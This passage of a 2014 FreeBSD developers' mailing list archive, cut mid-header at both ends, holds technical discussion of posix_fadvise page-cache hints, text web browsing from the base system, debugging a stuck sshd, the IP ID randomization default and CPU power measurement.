bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CDDEEF4C; Thu, 3 Apr 2014 19:10:54 +0000 (UTC) Received: from mail-la0-x231.google.com (mail-la0-x231.google.com [IPv6:2a00:1450:4010:c03::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id EB08F21B; Thu, 3 Apr 2014 19:10:53 +0000 (UTC) Received: by mail-la0-f49.google.com with SMTP id mc6so1684445lab.36 for ; Thu, 03 Apr 2014 12:10:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=OsxHPgRotrgvxMo/dSdduMHO7vbXqJyy5Gn7YT4hPtI=; b=H6djkAoqH6Vd2MJkyhCOrZS5+1dhe/Vo3UmWD1oyWoFqhozOAQCuMxxtGEGVZIhGQE fo6tzabQ4fur/Q83KV6oVre7CuRYkPD6AKhPoyptSAQ9qyBIfEZNqz+4g2OWeZhrZz+i gkLyJeWFwxiCN3pWEyJis7wGvqyJyYcif0+jbPJVELz7/TwJwWylQLinVrFfMqh22iBR CZ5cTJygrAZr+cgh+YZN++zWI7iIUGQEL/rjKmLHpwAWfYOL6F8CNhJjx3VJM+JP4wCW T8rewjTWWrsWOn6bZ+7mSCUZIWbQRzIGwbWi2zeCiFZXhRLYXMSUTMenfF7El5OTI2R1 zejA== X-Received: by 10.112.118.20 with SMTP id ki20mr2472800lbb.45.1396552251921; Thu, 03 Apr 2014 12:10:51 -0700 (PDT) Received: from [10.0.1.9] (ip-95-220-108-153.bb.netbynet.ru. [95.220.108.153]) by mx.google.com with ESMTPSA id kz7sm5624862lab.16.2014.04.03.12.10.50 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 03 Apr 2014 12:10:51 -0700 (PDT) Content-Type: text/plain; charset=koi8-r Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: madvise() vs posix_fadvise() From: Dmitry Sivachenko In-Reply-To: <201404031230.40380.jhb@freebsd.org> Date: Thu, 3 Apr 2014 23:10:49 +0400 Content-Transfer-Encoding: quoted-printable Message-Id: <2CB392D0-5198-41EB-8191-8B02FE432334@gmail.com> References: <201404031102.38598.jhb@freebsd.org> <1396539837.81853.278.camel@revolution.hippie.lan> <201404031230.40380.jhb@freebsd.org> To: John Baldwin X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org, Ian Lepore , =?iso-8859-1?Q?Trond_Endrest=F8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 19:10:54 -0000 On 03 =C1=D0=D2. 2014 =C7., at 20:30, John Baldwin = wrote: >=20 > The latter. It's sort of like a lazy O_DIRECT. Each time you call = write(2), > it tries to move any clean pages from your current sequentially = written > stream from inactive to cache, so the pages won't move until a = subsequent > write(2) after bufdaemon or the syncer actually forces them to be = written. > Unfortunately, it is currently implemented by doing an internal > FADV_DONTNEED after each read() or write(). It would be better if it = was > implemented as a callback when buffers are completed. Sounds like FADV_NOREUSE should be befeficial for any log-writing = program? (syslogd, apache, nginx, .....)= From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 19:34:44 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2B30460A; Thu, 3 Apr 2014 19:34:44 +0000 (UTC) Received: from mho-02-ewr.mailhop.org (mho-02-ewr.mailhop.org [204.13.248.72]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id EF023639; Thu, 3 Apr 2014 19:34:43 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-02-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WVnPO-000CJ8-HT; Thu, 03 Apr 2014 19:34:42 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s33JYcKB087556; Thu, 3 Apr 2014 13:34:38 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX193CK3XpM8rnvFLVzzPqWkM Subject: Re: madvise() vs posix_fadvise() From: Ian Lepore To: Dmitry Sivachenko In-Reply-To: <2CB392D0-5198-41EB-8191-8B02FE432334@gmail.com> References: <201404031102.38598.jhb@freebsd.org> <1396539837.81853.278.camel@revolution.hippie.lan> <201404031230.40380.jhb@freebsd.org> <2CB392D0-5198-41EB-8191-8B02FE432334@gmail.com> Content-Type: text/plain; charset="koi8-r" Date: Thu, 03 Apr 2014 13:34:38 -0600 Message-ID: <1396553678.81853.288.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by damnhippie.dyndns.org id s33JYcKB087556 Cc: freebsd-hackers@FreeBSD.org, Trond =?ISO-8859-1?Q?Endrest=F8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 19:34:44 -0000 On Thu, 2014-04-03 at 23:10 +0400, Dmitry Sivachenko wrote: > On 03 =C1=D0=D2. 2014 =C7., at 20:30, John Baldwin wr= ote: >=20 > >=20 > > The latter. It's sort of like a lazy O_DIRECT. Each time you call w= rite(2), > > it tries to move any clean pages from your current sequentially writt= en > > stream from inactive to cache, so the pages won't move until a subseq= uent > > write(2) after bufdaemon or the syncer actually forces them to be wri= tten. > > Unfortunately, it is currently implemented by doing an internal > > FADV_DONTNEED after each read() or write(). It would be better if it= was > > implemented as a callback when buffers are completed. >=20 >=20 >=20 > Sounds like FADV_NOREUSE should be befeficial for any log-writing progr= am? (syslogd, apache, nginx, .....) I'll probably do something with syslogd soon-ish, it'll help our embedded products at $work that are tight on memory already. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 19:36:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 404BA708 for ; Thu, 3 Apr 2014 19:36:25 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "wonkity.com", Issuer "wonkity.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id E61AD65F for ; Thu, 3 Apr 2014 19:36:24 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s33JaGhH083746 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Thu, 3 Apr 2014 13:36:16 -0600 (MDT) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s33JaGYj083743; Thu, 3 Apr 2014 13:36:16 -0600 (MDT) (envelope-from wblock@wonkity.com) Date: Thu, 3 Apr 2014 13:36:16 -0600 (MDT) From: Warren Block To: Royce Williams Subject: Re: Web browsing usage from base In-Reply-To: Message-ID: References: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Thu, 03 Apr 2014 13:36:16 -0600 (MDT) Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 19:36:25 -0000 On Thu, 3 Apr 2014, Royce Williams wrote: > On Thu, Apr 3, 2014 at 6:21 AM, Warren Block wrote: > >> On Wed, 2 Apr 2014, Eitan Adler wrote: >> >> On 2 April 2014 09:02, Brian Kim wrote: >>> >>>> Would anyone like to share their best approach to browsing the web only >>>> using utilities from a base install? >>>> >>> >>> $pkg install firefox >>> $firefox >>> >>> seems to work (provided X is running). >>> >> >> fetch(1) was already mentioned. telnet(1) or nc(1) would allow >> interactive use, admittedly not conveniently (level: neckbeard). I can >> imagine a (terrible) text browser hacked together with fetch, sh, dialog, >> and grep/sed/awk to parse out links. But even full text browsers like >> lynx, links, and w3m are often useless due to the modern web's dependence >> on images, Javascript, and such. >> >> Incidentally, the issue of the base OS not having a text web browser has >> come up several times lately. I don't know if there's one suitable for >> import, but it's something to consider. Writing one using only the tools >> from base would be an interesting/horrifying experiment. >> > > It would also be useful to hear more about the use cases that are causing > this spike in interest. The most recent ones were about reading HTML documentation. The earlier ones... I want to say it involved the installer, but can't recall. From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 19:38:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7ED40928; Thu, 3 Apr 2014 19:38:42 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 249DB68D; Thu, 3 Apr 2014 19:38:41 +0000 (UTC) Received: from study64.tdx.co.uk (study64.tdx.co.uk [62.13.130.231]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s33JcdJQ049220 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Apr 2014 20:38:40 +0100 (BST) Date: Thu, 03 Apr 2014 20:38:39 +0100 From: Karl Pielorz To: John Baldwin Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <4B53DEF2407E2EC90A8DDF9D@study64.tdx.co.uk> In-Reply-To: <201404031232.16465.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404031103.41171.jhb@freebsd.org> <6F730B3126CC5AE636D1E2A0@Mail-PC.tdx.co.uk> <201404031232.16465.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 19:38:42 -0000 --On 3 April 2014 12:32:16 -0400 John Baldwin wrote: >> " >> USER CMD PID FD MOUNT INUM MODE SZ|DV R/W >> root sshd 4346 8* local stream fffff80002e55c30 <-> >> fffff80002e552d0 ... >> root sshd 4344 4* local stream fffff80002e552d0 <-> >> fffff80002e55c30 " > > Right, so it's just blocked on a UNIX domain socket from the parent > waiting for the parent to tell it to do something. The root issue is the > parent (as I feared). Is 4344 threaded (procstat -t?) " # procstat -t 4344 PID TID COMM TDNAME CPU PRI STATE WCHAN 4344 100068 sshd - 0 120 sleep urdlck " -Karl From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 20:17:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0473C414; Thu, 3 Apr 2014 20:17:14 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CE76AA45; Thu, 3 Apr 2014 20:17:13 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id AA5D3B97D; Thu, 3 Apr 2014 16:17:12 -0400 (EDT) From: John Baldwin To: Dmitry Sivachenko Subject: Re: madvise() vs posix_fadvise() Date: Thu, 3 Apr 2014 15:27:59 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <201404031230.40380.jhb@freebsd.org> <2CB392D0-5198-41EB-8191-8B02FE432334@gmail.com> In-Reply-To: <2CB392D0-5198-41EB-8191-8B02FE432334@gmail.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable Message-Id: <201404031527.59901.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 03 Apr 2014 16:17:12 -0400 (EDT) Cc: freebsd-hackers@freebsd.org, Ian Lepore , Trond =?iso-8859-1?q?Endrest=F8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 20:17:14 -0000 On Thursday, April 03, 2014 3:10:49 pm Dmitry Sivachenko wrote: >=20 > On 03 =C1=D0=D2. 2014 =C7., at 20:30, John Baldwin wrot= e: >=20 > >=20 > > The latter. It's sort of like a lazy O_DIRECT. Each time you call wri= te(2), > > it tries to move any clean pages from your current sequentially written > > stream from inactive to cache, so the pages won't move until a subseque= nt > > write(2) after bufdaemon or the syncer actually forces them to be writt= en. > > Unfortunately, it is currently implemented by doing an internal > > FADV_DONTNEED after each read() or write(). It would be better if it w= as > > implemented as a callback when buffers are completed. >=20 >=20 >=20 > Sounds like FADV_NOREUSE should be befeficial for any log-writing program? > (syslogd, apache, nginx, .....) Well, it depends. If you plan on reading the log files, then using NOREUSE can potentially make that more expensive as the logs are more likely to be out of RAM when you go to read them (even if you have free memory, mostly because "cache" isn't perfect, at least in my experience). OTOH, pagedaemon (a part of the VM system) should generally pick the log pages to evict when needed (and I believe it might do a better job of that in 10 than it did previously). I think if you know that the log files are kicking more useful things out of RAM and you don't generally plan on reading them (note that things like compressing them with gzip counts as reading), then FADV_NOREUSE can work fine. =2D-=20 John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 20:17:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7F28E416 for ; Thu, 3 Apr 2014 20:17:14 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 56FC5A46 for ; Thu, 3 Apr 2014 20:17:14 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 3D332B97F; Thu, 3 Apr 2014 16:17:13 -0400 (EDT) From: John Baldwin To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Date: Thu, 3 Apr 2014 16:14:40 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404031232.16465.jhb@freebsd.org> <4B53DEF2407E2EC90A8DDF9D@study64.tdx.co.uk> In-Reply-To: <4B53DEF2407E2EC90A8DDF9D@study64.tdx.co.uk> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404031614.40951.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 03 Apr 2014 16:17:13 -0400 (EDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 20:17:14 -0000 On Thursday, April 03, 2014 3:38:39 pm Karl Pielorz wrote: > > --On 3 April 2014 12:32:16 -0400 John Baldwin wrote: > > >> " > >> USER CMD PID FD MOUNT INUM MODE SZ|DV R/W > >> root sshd 4346 8* local stream fffff80002e55c30 <-> > >> fffff80002e552d0 ... > >> root sshd 4344 4* local stream fffff80002e552d0 <-> > >> fffff80002e55c30 " > > > > Right, so it's just blocked on a UNIX domain socket from the parent > > waiting for the parent to tell it to do something. The root issue is the > > parent (as I feared). Is 4344 threaded (procstat -t?) > > " > # procstat -t 4344 > PID TID COMM TDNAME CPU PRI STATE WCHAN > 4344 100068 sshd - 0 120 sleep urdlck > " That's really odd. A single threaded program has no business even trying to grab a lock. Is your sshd even linked against libthr via ldd? -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 20:54:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 568C5D35; Thu, 3 Apr 2014 20:54:38 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id F032AD81; Thu, 3 Apr 2014 20:54:37 +0000 (UTC) Received: from study64.tdx.co.uk (study64.tdx.co.uk [62.13.130.231]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s33KsZhu055895 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 3 Apr 2014 21:54:36 +0100 (BST) Date: Thu, 03 Apr 2014 21:54:35 +0100 From: Karl Pielorz To: John Baldwin Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <18B08A7E8585B0C4A89A05E6@study64.tdx.co.uk> In-Reply-To: <201404031614.40951.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404031232.16465.jhb@freebsd.org> <4B53DEF2407E2EC90A8DDF9D@study64.tdx.co.uk> <201404031614.40951.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 20:54:38 -0000 --On 3 April 2014 16:14:40 -0400 John Baldwin wrote: > That's really odd. A single threaded program has no business even trying > to grab a lock. Is your sshd even linked against libthr via ldd? Bearing in mind this system was installed as 10.0-R, 10.0-STABLE checked out via SVN, and the world built from that... Looking at sshd with ldd gives: " # ldd /usr/sbin/sshd /usr/sbin/sshd: ... libthr.so.3 => /lib/libthr.so.3 (0x8038d7000) " So I'm guessing that's a yes? -Karl From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 02:34:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 65DBC47C; Fri, 4 Apr 2014 02:34:01 +0000 (UTC) Received: from feynman.konjz.org (feynman.konjz.org [64.147.119.39]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1150FC79; Fri, 4 Apr 2014 02:34:00 +0000 (UTC) Received: from 127.0.0.1 (tor.t-3.net [64.113.32.29]) (authenticated bits=0) by feynman.konjz.org (8.14.7/8.14.4) with ESMTP id s342J8bq075512 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 3 Apr 2014 22:19:23 -0400 (EDT) (envelope-from george@ceetonetechnology.com) Message-ID: <533E1699.5050901@ceetonetechnology.com> Date: Thu, 03 Apr 2014 22:19:05 -0400 From: George Rosamond MIME-Version: 1.0 To: freebsd-hackers@freebsd.org, freebsd-net@freebsd.org Subject: net.inet.ip.random_id Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Fri, 04 Apr 2014 03:25:52 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 02:34:01 -0000 Sorry for the cross-post, but assume this is relevant to both lists. It's regarding the default setting of net.inet.ip.random_id to 0 This disclosure has caused a bit of a stir on the Tor-relays list starting with this post: https://lists.torproject.org/pipermail/tor-relays/2014-March/004199.html FreeBSD is one of the OS's not implementing random IP IDs by default. I know OpenBSD has for a long while. I vaguely remember someone referring to some specific application compatibility with IP ID randomness in the distant past... Or should it just default to '1'? g From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 09:45:50 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 712D492C; Fri, 4 Apr 2014 09:45:50 +0000 (UTC) Received: from mail-qg0-x236.google.com (mail-qg0-x236.google.com [IPv6:2607:f8b0:400d:c04::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0B51C670; Fri, 4 Apr 2014 09:45:49 +0000 (UTC) Received: by mail-qg0-f54.google.com with SMTP id a108so3101903qge.27 for ; Fri, 04 Apr 2014 02:45:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=2929xfdBhFwFx+XnR7vW1/++JQzL7XhwVSViX5MFcbk=; b=kFMEwaWLopPNTN33dWAL/Kgl1PpbfD49lbpWrJMjTefTT/asV1SYnvhmwTeFRE4wHc JTYteS9gXCzijJ/o5uIFiMn4ScOmV/phXuFhA4k4hx+YYHt5gkNyoFlZCZ0kDNyiuMHc CDooaTYzD7BUiVibgzwMQIQmPNyNMad2pO1vtlqTUxLHoEUaWNahJ3zGWDuFsWejENaM HO/5mMhztn6dQYSZkPZgdYyzEnD2wX+LAuA71uy2o9v684veCYRph6F5w0O5ZPCNBCxh hej82p6x+06/7QVejga8krkZqMEN1A7URUzLdNRKIfJa7Qpzaji+OYeW3tXj+UpudjBZ WEkg== MIME-Version: 1.0 X-Received: by 10.224.13.142 with SMTP id c14mr13407559qaa.76.1396604749123; Fri, 04 Apr 2014 02:45:49 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.50.143 with HTTP; Fri, 4 Apr 2014 02:45:49 -0700 (PDT) In-Reply-To: <7C720BEE-7440-4678-9322-988F68E6754F@ixsystems.com> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140403034150.GA78653@regency.nsu.ru> <89A553DC-199A-47E3-B352-34A4CDCAC4E4@ixsystems.com> <7C720BEE-7440-4678-9322-988F68E6754F@ixsystems.com> Date: Fri, 4 Apr 2014 02:45:49 -0700 X-Google-Sender-Auth: _1L0dauK-h680JjWgGnT9x55Ed8 Message-ID: Subject: Re: Power Efficiency (was Re: Leaving the Desktop Market) From: Adrian Chadd To: Jordan Hubbard Content-Type: text/plain; charset=ISO-8859-1 Cc: Alexey Dokuchaev , "freebsd-hackers@freebsd.org" , David Chisnall , Alan Somers , Eitan Adler X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Apr 2014 09:45:50 -0000 [snip] powertop as it stands is actually pretty freaking horrible internally and as Jordan says, it's very linux specific. There's already MSRs in Nehalem (I think) and later that let you get exactly how many joules are being consumed by various subsystems. The non-Xeon CPUs I think are limited to just the socket power; Xeon CPUs include memory power consumption as well. So, we could easily grow the basic "how much power is the system consuming?" stuff and if you limited it to one core per socket, you could actually virtualise the counters to figure out how much power each thread is consuming (and with a bit of math, how much power the OS is consuming.) The rest of it is interrupts, wakeups, context switches, sleep times (%age per core isn't enough; one needs to know how long min/avg/median/max we're staying in those Cx states!), timer events (and coalescing) and whatever external power readings devices give us. So yeah. Please listen to Jordan here. And please go forth and add some of the power consumption MSRs and sleep state tracking to the kernel. We can then start making some reasonable judgements about things. As a note: the difference between correctly tuning and defaults on my ivy bridge desktop at idle - mind you, just for the CPU - is around 4 joules/sec out of the box and around 1 joule/second with Turbo Boost enabled (ie, dynamic frequency scaling/overclocking); powerd not dropping the CPU frequency at idle and C2 set. The CPU then spends most of it's time in C7 state. -a From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 4 17:52:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BAB40240; Fri, 4 Apr 2014 17:52:16 +0000 (UTC) Received: from mail-lb0-x22c.google.com (mail-lb0-x22c.google.com [IPv6:2a00:1450:4010:c04::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 14033C92; Fri, 4 Apr 2014 17:52:15 +0000 (UTC) Received: by mail-lb0-f172.google.com with SMTP id c11so2760362lbj.31 for ; Fri, 04 Apr 2014 10:52:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=H9XQrd/W2x1+v9mNp8PRJkezMRdNi2kYIDds4lq6TB8=; b=n2MpvCZrIGRgIys8TP8Ka7PCPwooKmlOxlLVdD0vvW+fl/3kYBUL4dxu1aQ1574wC3 ++XNIjIJXrWXMg4VR6+QxjjSOJiYMJvqC1lMMP0S1GhRC6ecTom8gmBTa4Alq6LnUMPC QfIRjBzAulcuF/5Gs9mdeDLdYnkrKJNM4yU1g3poYqIb7AEFyid55FlQl7l3MjZhjhkn VmMGYW+2xW2i5v6bwjlrzK3r8Qti1yQjB7d/POyjbluhjGyAmwNK5ka/nlTMSKHMdl0Y /vBPkAmlYCrUrwtUOFNzRgd+TLeOte2vN9bUZwjM02isboFQFER1j/2SMSeEuoSwo6rY wHtQ== X-Received: by 10.152.36.199 with SMTP id s7mr2156751laj.48.1396633933774; Fri, 04 Apr 2014 10:52:13 -0700 (PDT) Received: from [10.0.1.9] (ip-95-220-108-153.bb.netbynet.ru. [95.220.108.153]) by mx.google.com with ESMTPSA id rd5sm6104527lbb.0.2014.04.04.10.52.11 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 04 Apr 2014 10:52:11 -0700 (PDT) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: madvise() vs posix_fadvise() From: Dmitry Sivachenko In-Reply-To: <201404031102.38598.jhb@freebsd.org> Date: Fri, 4 Apr 2014 21:52:09 +0400 Content-Transfer-Encoding: quoted-printable Message-Id: References: 